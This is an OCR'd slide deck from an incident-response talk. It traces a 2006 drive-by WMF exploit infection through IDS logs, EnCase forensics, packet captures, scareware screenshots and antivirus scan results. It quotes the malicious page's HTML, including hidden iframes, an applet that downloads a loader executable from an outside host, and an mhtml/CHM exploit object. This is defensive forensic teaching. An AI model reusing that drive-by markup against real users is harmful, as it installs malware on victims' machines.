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Who | Am

| Work for Telos

Currently lead a Computer Incident
Response Team

3+ years doing Incident Response and
Forensics

/ Years of dedicated security work
Certs: CISSP, NSTC, CEH, ACSA
Member of the Hacker Pimps



Disclaimers

IDS data has been modified
— IP address, Time Stamps, and Payload
— Data is still relevant... | just don’t have bro at home
| used EnCase
— Brian Carrier’s (formerly of @stake) tools are great and free (as is his book, however not free but worth the
price)
e The Sleuth Kit (http://www.digital-evidence.org/)
« Bookis VERY technical; however a good read
e http://www.opensourceforensics.org/tools/
— Many Knoppix Forensic distros out there
e http://www.livecdlist.com/
— BartPE
* Can load Windows tools into BartPE with interesting results.

Vmware is not always a good way to do this...

— Some malware is Vmware aware
* Some code won't execute inside Vmware...
* Some code will attack Vmware if it detects it
— SandNets (shmoocon 2006 talk)
e  http://www.lurhg.com/truman/
e www.Shmoocon.org

— Microsoft Virtual PC may be a good option... | just am too lazy to install it

EnCase can natively work with a Vmware disk images without having to actually acquire it
manually.

— Saves a lots of time

— Saves a lot of disk space


http://www.digital-evidence.org/
http://www.opensourceforensics.org/tools/
http://www.livecdlist.com/
http://www.lurhq.com/truman/
http://www.shmoocon.org/
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Tools used In this talk

Bro IDS / Snort IDS

EnCase Enterprise

Vmware Workstation (with winxp spl and IE)
Woaget / firefox

Unix timestamp conversion site (url later)

My buddy rexswain (url later)

Sysinternals Process Explorer and TCP View
Netstat

Pasco

Jotti / Virus Total

Ethereal

Hex Editor



Resources (IDS and Books)

* |IDS used for this incident: Bro & Snort
— Captures first part of all web sessions (bro)

— Alerts on certain events (bro & snort)
 Exe, wmf, vbs...

— http://www.bro-ids.org/
— http://www.snort.org/
— http://Iwww.bleedingsnort.com/

» Others (free but not used in this case)
— Argus and Squil (front-end for IDS Data)
 Books:
— http://www.taosecurity.com/books.html

— Internet Forensics

e http://www.amazon.com/gp/product/059610006X/002-1914404-
9388824?v=glance&n=283155

— Snort 2.1

* http://www.amazon.com/gp/product/1931836043/qid=1141538146/sr=2-
1/ref=pd bbs b 2 1/002-1914404-93888247?s=books&v=glance&n=283155



http://www.bro-ids.org/
http://www.snort.org/
http://www.bleedingsnort.com/
http://www.taosecurity.com/books.html
http://www.amazon.com/gp/product/059610006X/002-1914404-9388824?v=glance&n=283155
http://www.amazon.com/gp/product/059610006X/002-1914404-9388824?v=glance&n=283155
http://www.amazon.com/gp/product/1931836043/qid=1141538146/sr=2-1/ref=pd_bbs_b_2_1/002-1914404-9388824?s=books&v=glance&n=283155
http://www.amazon.com/gp/product/1931836043/qid=1141538146/sr=2-1/ref=pd_bbs_b_2_1/002-1914404-9388824?s=books&v=glance&n=283155

BRO Data
<<<>>>>192.168.17.128 possibly detected with WMF exploit.

1141481943.750 %11272 > REFERER: http://mom69.com/?ft=oldwomens.net

1141481943.750 %11272 > ACCEPT-LANGUAGE: en-us

1141481943.750 %11272 > USER-AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
1141481943.750 %11272 < CONTENT-LENGTH: 1342

1141481943.750 %11272 < CONTENT-TYPE: text/html

1141481943.750 %11272 www -> 192.168.17.128/tcp 85.249.23.117/80/tcp L GET /dl/adv470.php (200 "OK"
[1342])

1141481943.562 %11272 > HOST: toolbarbucks.biz

1141481943.562 %11272 www -> 192.168.17.128/tcp 85.249.23.117/80/tcp L GET /dl/xpladv799.wmf <no
reply>

1141481943.562 %11272 < DATE: Sat, 04 March 2006 14:19:03 (note this is reported by the server and
not always correct)

1141481943.562 %11272 < SERVER: Apache/2.0.54 (Fedora)

1141481943.562 %11272 < CONTENT-LENGTH: 16036

1141481943.562 %11272 < CONTENT-TYPE: video/unknown

1141481943.562 %11272 < X-PAD: avoid browser bug

1141481943.729 %11272 www -> 192.168.17.128/tcp 85.249.23.117/80/tcp L GET /dl/java.jar (200 "OK"
[16036])

1141481943.953 %11272 > REFERER: http://toolbarbucks.biz/dl/adv470.php

1141481943.953 %11272 > ACCEPT-LANGUAGE: en-us

1141481943.953 %11272 > USER-AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (xp was
vulnerable to WMF)

1141481943.953 %11272 > HOST: toolbarbucks.biz

1141481943.953 %11272 < DATE: Sat, 04 March 2006 14:19:03

1141481943.953 %11272 < SERVER: Apache/2.0.54 (Fedora)

1141481943.953 %11272 < CONTENT-LENGTH: 4326

1141481943.953 %11272 < CONTENT-TYPE: text/html

1141481943.953 %11272 www -> 192.168.17.128/tcp 85.249.23.117/80/tcp L GET /dl/loaderadv799 2.exe
(200 "OK" [4326])



http://mom69.com/?ft=oldwomens.net

What do we know?

Exploit came from: toolbarbucks.biz

Date and time of activity: 1141481943.562

— Use this site to convert Unix timestamp to human time
— http://www.e-calc.net/calc.php?ca=8&c=41&tid=443

We know a WMF and an EXE dropped...
Referring site: http://mom69.com/?fi=oldwomens.net
This box probably got owned....

— If you were to look at flow data you would see lots of other files being
downloaded

At this point | would usually look for session / flow data...
— Lancope, argus and/or more bro traffic



http://www.e-calc.net/calc.php?ca=8&c=41&tid=443
http://mom69.com/?ft=oldwomens.net

Recon on the Site

 What Iif you want to view the site safely...

— http://www.rexswain.com/httpview.html
e Can't do https or web servers on odd ports

— Firefox inside a vmware (VM snapshots rock)
— Wget the contents of the site

 Know javascript or be able to look it up with
google ;)
 The site

— Tells us what to look for on the box
— Tells us how the exploit got dropped



http://www.rexswain.com/httpview.html

Frame 1298 (76 bytes on wire, 76 bytes captured)
Arrival Time: Mar 4, 2006 14:19:03.938002000 /ll(ethereal time, not website time)

HTTP/1.1 200 OK
Request Version: HTTP/1.1
Response Code: 200
Date: Sun, 05 Mar 2006 03:17:16 GMT
Server: Apache/2.0.54 (Fedora)
X-Powered-By: PHP/5.0.4
Set-Cookie: dial=uniq; expires=Mon, 06 Mar 2006 03:17:16 GMT
Content-Length: 1241
Connection: close
Content-Type: text/html

Line-based text data: text/html

<html|>

<body>

<iframe src="xpladv799.wmf" width=1 height=1></iframe> /I11st exploit

<applet archive="java.jar" code="GetAccess.class" width=1 height=1><param name="ModulePath"
value="http://traffweb.biz/dl/loaderadv799 2.exe"></applet> //2nd exploit

<iframe width=1 height=1 border=0 frameborder=0 src=filmemadv799.htm></iframe> /Isite with encoded javascript

<iframe width=1 height=1 border=0 frameborder=0 src=fillmemadv799.htm></iframe> 1 “

<iframe width=1 height=1 border=0 frameborder=0 src=fillmemadv799.htm></iframe> 1l ¢

<iframe width=1 height=1 border=0 frameborder=0 src=fillmemadv799.htm></iframe> 1l ¢

<iframe width=1 height=1 border=0 frameborder=0 src=fillmemadv799.htm></iframe> 1l ¢

<iframe width=1 height=1 border=0 frameborder=0 src=fillmemadv799.htm></iframe> 1 “

<iframe width=1 height=1 border=0 frameborder=0 src=fillmemadv799.htm></iframe> I “

<iframe width=1 height=1 border=0 frameborder=0 src=fillmemadv799.htm></iframe> Il “

<iframe width=1 height=1 border=0 frameborder=0 src=bag.htm></iframe>

<applet width=1 height=1 ARCHIVE=loaderadv799.jar code=Counter></APPLET>

<SCRIPT LANGUAGE="JavaScript">

obj ="<object data=\"ms-its:mhtml:file"; /I older os’s get to play too

objl ="://IC:\\nosuch.mht!http://traffweb.biz/dl/adv799/x.chm::/x.htm\" type=\"text/x-scriptlet\"></object>";
document.write(obj+objl);

</script>

</body>



We now know...

The site used an IFRAME to drop the
exploits

The names of the files downloaded

Site drops an old school mhtml exploit...
(win95/98/2k still can feel the love)

Oh... and it also tries to drop a bad CHM

(again with the old school love...)
This site Is just nasty



Next Step?

e Locate the machine that got infected...
— Not always trivial on large networks

e How to locate

— Nbtstat, nslookup, ip subnet its in, nmap It,
whois...

* Once the box Is found, analysis can start.



Prior to being infected...
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And some more..
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Now what?

* OK, we know there are some nasties on
the box because of the processes running

 EnCase Is very helpful

— Note...EnCase Enterprise can view current processes and network
connections, however | don’'t have the right version at home to do this...
and | wasn’t going into work on Sat. But just know EnCase can do it all
with one app.

e Sysinternals tools rock and are free
— http://lwww.sysinternals.com/

— Process explorer, file explorer, tcp view...
ook around there iIs a lot there



http://www.sysinternals.com/

Where do the files hide?

Clone the drive first if not using a write-blocker (if it might
go to court)

— Write blockers are cheap if you plan to do this often

— dd with md5 hashes (http://dcfldd.sourceforge.net/)

— Only work off the copy

If doing this manually begin here:
— Internet Explorer Cache

— C:\windows\prefetch (only xp and 2k3)
— C:\windows\system32

— C:\

— Index.dat files (IE history)

Also search for files created or modified around the time
of the incident.



http://dcfldd.sourceforge.net/

With EnCase

 All files were hashed when the pc was built (prior
to exploit)...If you have a standard build do this!

— This means we know every file that is clean based on
hash value (rules out thousands of files in seconds)

— | tried to do some surfing prior to the ownage so that
the file system was full of files modified around the
time of the event

e Hash sets can save you or screw you

— NSRL hashes: http://www.nsrl.nist.gov/

— Be careful who you take hashes from... know they
are accurate.



http://www.nsrl.nist.gov/
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File Ext pf =y Include
Description: File, Archive
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Logical Size 1,966
Physical Size 4,096
Starting Extent 0C-C119049
File Extents 1
Permissions: . =
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WOW...

94 files created

15 active processes

IE Crashed

New |E toolbar

Program telling you your infected

Installs “spysheriff” when you click the popup
telling you that your infected

— Wants you to pay to clean the files it finds
Keylogger (more on this later)
Steals SAM file...



Traffic after the sploit...

Download of a 2mb php file that is not php...
— (Usually another EXE)

Port scans and tries NetBIOS to other IP’s
DDoS bot

Mail bot

Odd traffic to port 8080 on external ip’s
Uses google to do some searches

TONS of mail server lookups

Oddly enough... not a bit of IRC traffic... (this is
disappointing)



Snort Alerts

[**] [122:3:0] (portscan) TCP Portsweep [**]
03/04-18:48:52.154768 68.227.200.* -> 66.246.72.85
PROTO255 TTL:0 TOS:0x0 ID:27047 IpLen:20 DgmLen:168 DF

[**] [122:3:0] (portscan) TCP Portsweep [**]
03/04-18:50:08.915091 68.227.200.* -> 66.246.72.85
PROTO255 TTL:0 TOS:0x0 ID:33075 IpLen:20 DgmLen:168 DF

[**] [122:3:0] (portscan) TCP Portsweep [**]
03/04-18:50:48.013176 68.227.200.* -> 66.246.72.85
PROTO255 TTL:0 TOS:0x0 ID:36273 IpLen:20 DgmLen:170 DF



(@ etherxXXx87UDS55 - Ethereal &)=l

Fle Edit Wiew Go Capture Analyze  Statistics  Help

DAxRERe+*»2FL[EERAAT SYEX @

Drestination Prokocal =
0. .0.0. . . R DHCP Request - Transaction ID OxScZb& :j
2 0.005540 192.168.17.254 192.168.17.123 DHCP DHCP ACK - Transaction ID 0x8c2b8811
3 0.019917 192.168.17.123 Broadcast ARP who has 192.16%.17.1287 Gratuitous ARP
4 0.049525 192.168.17.123 Broadcast ARP who has 192.163%.17.1287 Gratuitous ARP
51.052291 192.168.17.123 Broadcast ARP Wwho has 192.168.17.1287 Gratuitous ARP
[ 239.255.255.250 M-SEARCH * HTTP 1 1
7 2. . .17, 224.0.0.22 ‘ ip Re
8 2.147056 192.168.17.123 Broadcast ARP Wwho has 192.168. 17 2?7 Tell 192.168.17.128
9 2.147208 192.168.17.2 192.168.17.128 ARP 192.168.17.2 is at 00:50:56:e9:b7:36
10 2.147591 192.168.17.123 192.168.17.2 NENS Registration NE CLONE2<00>
11 2.241085 192.168.17.128 192.168.17.2 DNS Standard query A www.google.com
12 2.257799 192.168.17.2 192.168.17.128 DNS Standard query response CNAME www.l.google.com A 216.239.37.104 A 216.2
13 2.261216 192.168.17.123 216.239.37.104 TCP 3625 > http [SYN] Seq=0 Ack=0 Win=64240 Len=0 MSS=1460
14 2.283823 216.239.37.104 192.168.17.128 TCP http » 3625 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
15 2.285799 192.168.17.123 216.239.37.104 TCP 3625 > http [ACK] Seq=1 Ack=1l Win=64240 Len=0
16 2.2830638 192.168.17.123 216.239.37.104 HTTP GET /search?hl=en&q=free stuff HTTP/L.0
17 2.283342 216.239.37.104 192.168.17.123 TCP http » 3625 [ACK] Seq=1 Ack=373 win=64240 Len=0
. . .37. . . =1 Ack=373 win=64240 Len=0
19 2.303725 192.168.17.128 192.168.17.2 DNS Standard query A update.firefoxupdatecenter.net
20 2.304456 192.168.17.2 192.168.17.128 DNS Standard query response A 64.71.167.118
21 2.304877 192.168.17.123 64.71.167.113 TCP 3626 > http [SYN] seq=0 Ack=0 wWin=64240 Len=0 MS5=1460
22 2.419602 64.71.167.118 192.168.17.123 TCP http > 3626 [SYN, ACK] Seq=0 Ack=1l win=64240 Len=0 MS5=1460
23 2.419649 192.168.17.123 64.71.167.113 TCP 3626 > http [AcK] seq=1 Ack=1 win=64240 Len=0
24 2.419900 192.168.17.123 64.71.167.113 HTTP POST Jfcgi-bin/nextbanner.cgi HTTP/1.0 (application/x-www-form-urlencode
25 2.420015 64.71.167.118 192.168.17.123 TCP http > 3626 [ACK] Seq=1 Ack=619 Win=64240 Len=0
26 2.539652 64.71.167.118 192.168.17.123 HTTP HTTP/1.1 200 oK (text/plain)
27 2.542360 192.168.17.123 64.71.167.113 TCP 3626 > http [ACK] Seq=619 Ack=106 Win=64136 Len=0
28 2.545253 192.168.17.123 64.71.167.113 TCP 3626 > http [FIN, ACK] Seq=619 Ack=106 Win=64136 Len=0
29 2.545403 64.71.167.118 192.168.17.128 TCP http » 3626 [ACK] Seq=106 Ack=620 Win=64239 Len=0
30 2.546750 192.168.17.123 216.239.37.104 TCP 3627 > http [SYN] Seq=0 Ack=0 Win=64240 Len=0 MSS=1460
31 2.569511 216.239.37.104 192.168.17.128 TCP http » 3627 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
32 2.569557 192.168.17.123 216.239.37.104 TCP 3627 > http [ACK] Seq=1 Ack=1 Win=64240 Len=0
33 2.569720 192.168.17.128 216.239.37.104 HTTP GET /search?hl=en&q=viagra HTTP/1.0
34 2.569850 216.239.37.104 192.168.17.128 TCP http > 3627 [ACK] Seq=1 Ack=369 Win=64240 Len=0
35 2.616982 216.239.37.104 192.168.17.128 HTTP HTTP/L1.0 200 0K (text/html)
36 2.618156 216.239.37.104 192.168.17.128 HTTP Continuation or non-HTTP traffic
37 2.618303 192.168.17.123 216.239.37.104 TCP 3627 > http [ACK] Seq=369 Ack=2861 Win=64240 Len=0
38 2.619335 216.239.37.104 192.168.17.128 HTTP Continuation or non-HTTP traffic
39 2.632812 216.239.37.104 192.168.17.128 HTTP Continuation or non-HTTP traffic
40 2.633047 192.168.17.123 216.239.37.104 TCP 3627 > http [ACK] sSeq=369 Ack=4701 win=64240 Len=0
41 2.751739 216.239.37.104 192.168.17.128 HTTP Continuation or non-HTTP traffic
42 2.752868 216.239.37.104 192.168.17.128 HTTP Continuation or non-HTTP traffic
A2 " TECLZ01 109 1£0 17 199 A1E 920 27 104 T n 2E77 ¢ ledmin Tarmirl cana280 21 =lrnPC0E1 1t e 2A AN 1 mema

Frame 1 (344 bytes on wire, 344 bytes captured)
ETNernet Li, Srei L1Y2.1bs.L/.128 (UUIuciZyiest/ziap), DST! BFOAdcast (TTITTITTITTITTITT)

A A A A A o A AN A M A A A A A

Ll Lol b Lo

0000 f ff ff f ff ff 00 Oc 29 el 72 ab 08 00 45 00  ........ ) r.

0010 0Ll 4a Oc b6 00 00 80 11 2c ee 00 00 00 00 ff ff ndJonooog gooooooo

0020 ff ff 00 44 00 43 01 36 09 2e 01 01 06 00 8c 2b WDV CLB L +

0030 88 11 00 00 00 00 00 00 Q0 00 00 00 00 00 00 00  ........ ........ hd
\F\Ie: "E:fpresentationfetherXssE7U05S" 2312 KB 00:06:59 |P: 24683 Dn 24683 M: 0

' start G e e > %J, ‘Windows Task Manager | 00 | 3 Eih | £34] Clane of Windows XP Pro,.. | 55 EnCase Enterprise @ traffic - Ethereal | £| ethereal kxt - WordPad | b site.kxk - Notepad | |‘ B esiorm

” e .2
G i IDS kxk - Motepad | .. | @; ARIM: WHOIS Database ... | ’,j encase.bmp - Paint | ’,j myadib? traffic, brp - Paint | @ in order of creation no pf... | L) Ciiwget | L2 Saturday




Not bad...

clone2:=3913
clone2:=-3914
clone2:=3915
clone2:-3716
clone2:=391%
clone2:-3718
clone2:=3919
clone2:-3928
clone2:=3921

SpySheriff Control Panel

Mazi

&, scan and

they detected themselves...
money to fix what they found...

w Spy Sherlff Sprware Remover 5'

Your system is infecked! Scan found 47 threats, Run threat remowval now?

bastards...

mta—u25_leveld _mail.vyahoo.com:smtp SYMW_SENT I!
207 _1668.64.171 86088 ESTABLISHED

2082 _188 .9 _226:=mtp SYH_SENT

hayd—mcd—f .hayB._.hotmail.com:zsmtp SYN_SENT
mta—u25_leveld_mail.vyahoo.com:smtp SYMW_SENT
hayd—mcd—f .hayB._.hotmail.com:zsmtp SYN_SENT
mta—u25_leveld_mail.vyahoo.com:smtp SYMW_SENT
hayd—mcd—f .hayB._.hotmail.com:zsmtp SYN_SENT
mta—u25_leveld _mail.vyahoo.com:smtp SYMW_SENT

however if you click yes they want

Scan & Remove

[Double-click any item in the lizt ko get detailed information]
Data Loss Risk

Found traces

| Status | Privacty Risk.

| I"-.Iame | Descrlptln:-n

?_ ~ ) remove —
IIU.IGII L =L ] i L L o PO | =i e
Trojan ¥¥ Do,..  Downloads v..,  Infected!
&4 ] Trojan ¥¥ Do,..  Downloads v..,  Infected!
settings Trojan V¥ Do,.,  Downloads v..,  Infected!
N Trojan % Co... | Downloads v...  Infecked!
Trojan ¥¥ Do,..  Downloads v..,  Infected!
Vidie, Dyl [N e S Tebe bl
kevingeathar. . updates and D atabase information: Date 03,03, 2008, Known spowares: 1367, Enown spyware traces: 37596
licenzing Engine statuz.  Deep file system scan in progress. This may take a few minutes.,

with ie

@ help

If_'Startl @ Wiware Ac, .. | L Process Ex. .,

IE:'\winstaII.e:-:e

{11440

| Stop Scan I Pauze | Bemowve faund threats |

'ou zhould exit all running applications before clicking 'Femove found threatz' to prevent lozs of data.

GO QE 650

| B CwInDo. | [E] Tcp¥iew. zip |é TCPYigw - ... “& SpySsherif...




(@ etherxXXXx87U055 - Ethereal =1 x|

File Edit Wiew Go Capture Analyze Statistics  Help
S & B EEx®@2 QesDFL[EE QQaAfEYBEX @
M| ¥ | Expression... | Clear | Apply

| Source ‘ Destination | Prokocol | Info | ﬂ
TUULT T 192,108, 17 . LZ6 I9. 08, 17, O TAMTard qUersy M Te [Ta. Cam
L002714 192.168.17.128 192.168.17.2 DNE Standard gquery Mx goconnect.net
L005357 192.168.17.128 192.168.17.2 DMS Standard query MX hotmail.com
.021650 192.168.17.128 192.168.17.2 DNS Standard query MX netcom.com
L034194  192.168.17.128 195.206.121.250 MNENS Mame guery MBSTAT ¥Y<00>«<00><00>«00><00><00><00><00><00><00>«00><00><00><00> <00
L050639 192.168.17.2 192.168.17.128 DNE Standard query response Mx 1 mail.telia.com
L065579 192.168.17.72 192.168.17.128 DNS Standard query response Mx 5 mxl.hotmail.com Mx 5 mxZ2.hotmail.com Mx 5 mx3.hotmail.cot
066281 192.168.17.128 192.168.17.2 DMS Standard query MX yahoo.com
.066618  192.168.17.128 192.168.17.2 DNE Standard query Mx fmu.br
L067466 192.168.17.128 192.168.17.2 DNS Standard query MX msn.com
L0B3I037 192.168.17.128 192.168.17. DNS Standard query MX bluemail.ch
LOB5333 12.223.67.114 197.168.17. 128 TCF 24249 = 2044 [PSH, ACK] Seqg=24871 Ack=129 win=64240 Len=1460
L095386 192.168.17.128 66, 246.72.85 TCF 2050 = BOEQ [SvM] Seq=0 Ack=0 win=564240 Len=0 M55=1460
L095479 192 168.17.128 66, 246,72 .85 TCR 2048 = BORQ [SwN] Seq=0 Ack=0 win=H4240 Len=0 MSS=1460
L096313 192.168.17.2 192.168.17.128 DMS Standard query response Mx 1 mxl.mail.wahoo.com Mx 1 mxZ2.mail.yahoo.com Mx 1 mx3.mail
L096615 192.168.17.128 192.168.17.2 DMS Standard query Mx aol.com
.098394 192 .168.17.128 192 . 168.17.2 DNS Standard query Mx web.de
.112913 192.168.17.2 192.168.17.128 DNS Standard query response Mx 5 mx3.hotmail.com Mx 5 mxd.hotmail.com Mx 5 mx1.hotmail.cot
.113225 192.168.17.128 192.168.17.2 DMS Standard query MX uwvigo.es
.116050 192.168.17.2 192.168.17.128 DNE Standard gquery response Mx 42 mxzhb.bluewin.ch Mx 42 mxzhh.bluewin.ch Mx 10 mxbw.blues
.133258 192.168.17.2 192. .128 DMS Standard query response MxX 5 mx03.netcom.com Mx 5 mx04.netcom.com M 5 mx05.netcom. cot
.134529 192.168.17.2 .128 DMS Standard query response Mx 15 mailin-03.mx.acl.com Mx 15 mailin-04.mx.aol.com Mx 15 m._J
.146060 192 168.17.2 L128 DMS Standard query response M 100 mx-hall.web. de Mx 110 mx-haQ2.web.de

5 i 8 i Seq=0 Ack=0 wWin=64240

:189582

.2 DNS Standard query M sanjuan edu
. 189893 .2 DMS Standard uery M 1
4.190411 66 9 bE.17.128 > = 441371 Ack=l Win= 40 Len=0
.190534 192 .168.17.128 192.168.17.2 DMS Standard query Mx giascTOLl. vsn1 net.in
.192530 192.168.17.2 192.168.17.128 DMS Standard query response Mx 50 tpol.hostdafrica.com Mx 10 mail.trainingsouthafrica.com
.192684 192.168.17.128 192.168.17.2 DMS Standard query MX netscape.net
.194180 192 .168.17.128 192 .168.17.2 DNS Standard query Mx wahoo.com. tw
.194650 192 168.17.128 192.168.17.2 DNS Standard query M uboot com

Frame 16997 (76 bytes on wire, 76 bytes captured)

Ethernet II, Src: 192.168.17. 128 (00:0c:29:e8:72:ab), Dst: 192.168.17.2 (00:50:56:e9:b7:362
Internet Protoco], Src: 192.168.17.128 (192.168.17.128%, Dst: 192.168.17.2 {192.168.17.4)
User Datagram Protocol, Src Port: 2069 (2069), Dst Fort: domain (530

Domain Mame System (query)

0000 d0 50 56 e9 b7 36 00 0c 79 eB V2 ab OB 00 45 00
0010 d0 3e Ze 94 00 00 80 11 68 48 cO ag 11 80 c0 aB
0020 11 02 08 15 00 35 00 Za e3 10 00 72 01 00 00 01
0030 J0 00 00 OO0 00 00 Oc 65 64 68 be 63 77 01 6f od

[aYav.Ra) S5 7TOPI NI LD EELE B4 AN A0 N A0 A

&

[ File: "E: fpresentationfetherkxX¥87U0SS" 2312 KB 00:08:59 [P: 24683 Dr 24883 1: 1

#istart| ([ @ @ > =) windows Task Manager | m LE ‘ L3 Clanie of Windows %P Pro... | ﬁg EnCase Enterprise @ traffic - Ethereal ‘ '5] ethereal.bxt - wordPad | o sike.Ext - Notepad | ‘. 6:19 PM
o B = Y
@ ol @ 0 5.6 - Hotepad | A Y | &) ARIN: WHOIS Database ... i | Y myadib? traffic bmp - Paint | 5] in order of creation no pf‘..‘ 5 Criwget | £ Saturday




15[
File Edit “iew Go Capture Analyze Statistics Help

B ae ERA xS Qe»0F L [EFE QAR @M EX B

E\Iter:| * | Expression... | Clear | Apply

Mo, Time Protocol Info ﬂ

144
144 .

il
il
il
il
il
1
1
1
11
11
1
1
il
il
il
il
il
1
142
1
1
1
1
1
il
il
il
il
il

147

1t b e e e e e e e e ) e o e b i e e e e e e e e e

1= i = e e e e e e e e ] e e e e e
i

P

116 bytes captured)

E Frame 7074 (316 bytes on wire,

A Ethernet TT, Src: 197.168.17.2 (00:50:56:29:b7: 360, Dst: 192.168.17.128 (00:0c:29:eB8:77:ahk)

H Internet Frotocol, Src: 192.168.17.2 (192.168.17.2), Dst: 192.168.17.128 (192.16B8.17.128)

E User Datagram Frotocol, Src Port: domain (537, Dst Port: 4029 (4029)

= Domain Name System (responsel

nooD 00 Oc 29 eB 72 ab 00 50 56 e9 by Jdb 0B 00 45 00 L.J).r. P V. LB LE -

0010 01 Ze 48 9F 00 00 80 11 4d 4d <0 a® 11 02 <0 ag S R MM, ...

0020 11 80 00 35 Of bd 01 la e6 63 00 21 81 20 00 01 I -

0030 00 01 00 06 00D 05 02 34 39 03 32 31 39 02 34 33 L...... 4 9.219.4 -

[File: "E:/presentation/etherxxx#87U055" 2312 KB 00:06:53 |P: 24683 D: 24683 M; L

tf_'Startl Ga® > (=), Windows Task Manager | R k| EQE: | ] Clone of windaws 3P Pru‘..l BT EnCase Enterprise (€D traffic - Ethereal | ethereal, bk - WordPad | ) site.txt - Motepad m 6119 PM
@ E G | @nRIN:WHOIS Databasa...l lﬂj encase.bmp - Paint | lﬂj ryadib? traFfic.bmp-Paintl in order of creation no pF‘..l 1) Ciiwget | % Saturday

') IDG.kxk - Matepad | )




Additional Steps

. Pull History file (index.dat)

— EnCase does history / cache correlation
* Which file goes with which site
 How often was the site visited

— Pasco (free) can read index.dat files
e http://www.foundstone.com/resources/proddesc/pasco.htm

— See where the user was prior to getting infected
— Block sites that were involved

 Jotti / VirusTotal (more on this in a min)

* File Analysis
— What files are active and what are they doing



http://www.foundstone.com/resources/proddesc/pasco.htm

File Analysis

o Jotti
— http://virusscan.jotti.org/
— 15 AV scanners
— Web based and free

* Virus Total
— http://www.virustotal.com/
— 24 AV Scanners
— Web based and free

« Offensive Computing
— http://www.offensivecomputing.net/
— Strings
— Disassembly
— Basic report



http://virusscan.jotti.org/
http://www.virustotal.com/
http://www.offensivecomputing.net/

Jotti

+H'c malwara cran 7 QO0-TRAMMSITIOGN T 3 ninNn-pi

Browse... || Submit | B9

File to upload & scan: ﬁl | |[
Service Iuad:| 0| 100%

File:| splady793[1] wmf
Status: | TNFECTED/MALWARE
MD5| ch4ecal? add2db2 98279563 abaT0des
Packers detected:|—
. |
Anti‘-.fir| Found Exploit/MSO06-001.WMF exploit
ﬂrcavir| Found Trojan.Downloader.Agent.Acd
Lwa5t| Found MS06-001 WMF Exploit
AG .&ntiviru5| Found nothing
BitDefender| Found Exploit. Win32. WMF-PFY
Clam&y| Found Exploit. WMF.A
Dr Web| Found Exploit.MS05-053
F-Prot Antiviru5| Found exploit named CYE-2005-4560
FDrtinet| Found nothing

kKaspersky Anti—‘-.firu5| Found Trojan-Downloader.Win32.Agent.acd
NOD32| Found a wariant of Win32fExploit. WMF
Maorman Yirus CDntrDI| Found W32 fExploit.Gen
UNa| Found Exploit. WMF.Agent
VirusE-USter| Found Exploit. WMF-PFY.Gen.1
VBA32Z| Found Exploit. WMF




(8x) Distribute & S5

ﬁ.@ Select File

Browse...
News oiatist

WA | AL ¥ =) |

@ s

virusiotal

This is a report processed by VirusTotal on 03/05/2006 at 04:16:46 (CET) after scanning the file
"wpladw799_1 _vemf” file.

Antivirus Yersion Update Result

AntiVir 6.33.1.53 03.04.2006 EXP/MSO6-001.WMF

Avast 4.6.695.0 03.03.2006 MS06-001 WMF Exploit

AVG 718 03.03.2006 |Downloader.Agent.13.A1
Avira 6.33.1.53 03.04.2006 EXP/MSO6-001.WMF
BitDefender 7.2 03.05.2006 Exploit. Win32. WMF-PFY
CAT-QuickHeal 8.00 03.04.2006 WMFE.Exploit

Clamay devel-20060126 03.04.2006 Exploit. WMF.A

Drfeh 4.33 03.04.2006 Exploit.MS05-053
eTrust-InoculatelT 23.71.93 03.04.2006 |Win32/Worfo.Variant!'Trojan
eTrust-Yet 12.4.2104 03.03.2006 Win32/ Worfo

Ewido 3.5 03.04.2006 Exploit.MS505-053-WMF
Fortinet 2.71.0.0 03.05.2006 W32/ WMFlexploit

F-Prot 3.16c 03.03.2006 no virus found

Ikarus 0.2.59.0 03.03.2006 Exzploit.IMG-WMF

Kaspersky 4.0.2.24 03.05.2006 |Trojan-Downloader.Win32.Agent.acd
McAfee 4710 03.03.2006 Exploit-WMF

NOD32v2 1.1430 03.04.2006 a variant of Win32 /Exploit.WMF
Morman 5.70.10 03.03.2006 |W32/Exploit.Gen

Panda 9.0.0.4 03.05.2006 |Exzploit/Metafile

Sophos 4.03.0 03.04.2006 |[TrojfDownlLdr-NO

Symantec 8.0 03.05.2006 |Download.Trojan

TheHacker 5.9.5.106 03.04.2006 Exploit/WMF

LIMNA 1.83 03.02.2006 Exzploit. WMF.Agent

YBA32 3.10.5 03.03.2006 Exploit. WMF

YirusTotal is a free service offered by Hispasec Sistemas. There are no guarantees about the availability and continuity of this service.
Although the detection rate afforded by the use of multiple antivirus engines is far superior to that offered by just one product, these
results D0 MOT guarantee the hamilessness of a file. Currenty, there is not any solution that offers a 100% effectveness rate for

detecting viruses and malware,




=i Offensive Computing | Community Mal

us code research and anal rosoft Internet Explorer

Ele Edt Wew Favortes Tools Help

@Back > ) E‘ @ '_h /‘:.‘Search \Z'ErFavnrltes [ =) Lr‘j- :‘(( - J it ﬁ % 3

Address i@ ikt [, ofFensivecomputing, netf

v R s @ snaar By

Coogle |u Googd & D B~ ¥ Bookmarkse TPk . @hoblocked %7 check » % Autolink v | Auob (e Sendtor () settingsw &~

Offensive Computing

(X) Matware Search

Search for sum or
name

Total Malware: 40437
Last Malware: Possibly

@ Active forum
topics

+ Malicious websites
ms06-040 worm
analysis
Commercial version
of HackerDefender

WARNING: This site contains samples of live malware. Lise a1 your own risk. @ User login

MALWARE UPLOAD:

Malwars o Upload: | |[Browse.. ]| Submit Form Username:

Upload an unknown or supsicious file here for analysis. Upload Windows PE (Portable Executable) files and DLL's only. All files uploaded here will be
imported into the Offensive Computing Malware database. By using this service, you certify that you are not uploading any copyrighted software. —Password

e Create new account
* s : o R t
Would You Like a Virus with that? passweord
Subrmitted by chamuco on Mon, 2006-10-16 04:00, Malware

McDonald's gave away MP3 players loaded with a little more than music on them. It appears that they came preloaded with a QQPass variant as well. Anyone have a copy different than our L
archives? @ Navigation

Gizmodo Story detailing the event “About Us

“Getting Started

:» chamuco's blog | 1 comment | 103 reads “Consulting Services

hxdef “Contact
= Looking for e
Virus.Win32.Detnat . alware
+ Need sample of IM Worm.Win32.Qucan.a (Kaspersky) e
.
xaﬁ.;:yma, pretty Subrmitted by rahulm on Fri, 2006-10-06 11:19, Analysis and Samples | Malware Dp:::s
more 9a1c9fBc15fca4f18cof6blc16c43Bed
